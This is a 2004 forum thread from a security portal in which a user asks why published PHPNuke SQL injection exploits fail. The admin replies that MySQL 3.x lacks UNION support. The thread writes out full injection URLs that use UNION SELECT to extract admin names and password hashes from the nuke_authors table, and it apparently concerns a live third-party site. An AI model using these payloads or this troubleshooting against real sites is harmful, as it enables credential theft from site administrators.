Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 19, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 604
Members: 0
Total: 604
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpNuke -> Issues concerning PHPNuke SQL Injection
Post new topic  Reply to topic View previous topic :: View next topic 
Issues concerning PHPNuke SQL Injection
PostPosted: Tue Jul 20, 2004 5:23 am Reply with quote
Inferno96
Beginner
Beginner
 
Joined: Jul 20, 2004
Posts: 3




I can't seem to get even the latest SQL Injection (part 3) in the search module to work. It always gives me a
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/httpd/vhosts/fouclan.com/httpdocs/includes/sql_layer.php on line 238
for the: modules.php?name=Search&type=comments&query=not123exists&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors
as well as other exploits. Even the latest Search exploit using
http://localhost/nuke73/modules.php?name=Search&type=stories&query=f00bar&category=-1
&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/*

gave me a similar result.
I'm not an expert in SQL injection, but I have at least read all the links posted and understand what was discussed and some things not disscused.

Any help would be appreciated.
(I doubt they've patched the last one, it's not even out on Securityfocus yet).
View user's profile Send private message
PostPosted: Tue Jul 20, 2004 7:57 am Reply with quote
genoxide
Regular user
Regular user
 
Joined: Jun 14, 2004
Posts: 15




Its out on SF and a fix was released when the report was released
http://www.nukescripts.info/modules.php?name=Forums&file=viewtopic&t=44#562 Wink
View user's profile Send private message
PostPosted: Tue Jul 20, 2004 10:45 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Reason of exploit failure is simple - mysql version is probably 3.x,
not 4.x , so UNION functionality is missing and all you will get,
is just full path disclosure Smile
View user's profile Send private message Send e-mail Visit poster's website
a
PostPosted: Tue Jul 20, 2004 2:14 pm Reply with quote
SteX
Advanced user
Advanced user
 
Joined: May 18, 2004
Posts: 181
Location: Serbia




Yes, 90% of servers have old mysql 3.x without Union..

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
PostPosted: Tue Jul 20, 2004 4:38 pm Reply with quote
Inferno96
Beginner
Beginner
 
Joined: Jul 20, 2004
Posts: 3




Thanks a lot guys, I figured that was probably it from previous posts i'd read. Well I can easily work from there, thanks again!
View user's profile Send private message
PostPosted: Tue Jul 20, 2004 7:25 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Well, life goes on and progress goes on. So there will be time when 90% of mysql
installations are 4.0 and 10% are 4.1 (with subselects, mmm, my favorite)... Very Happy
View user's profile Send private message Send e-mail Visit poster's website
Issues concerning PHPNuke SQL Injection
  www.waraxe.us Forum Index -> PhpNuke
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.175 Seconds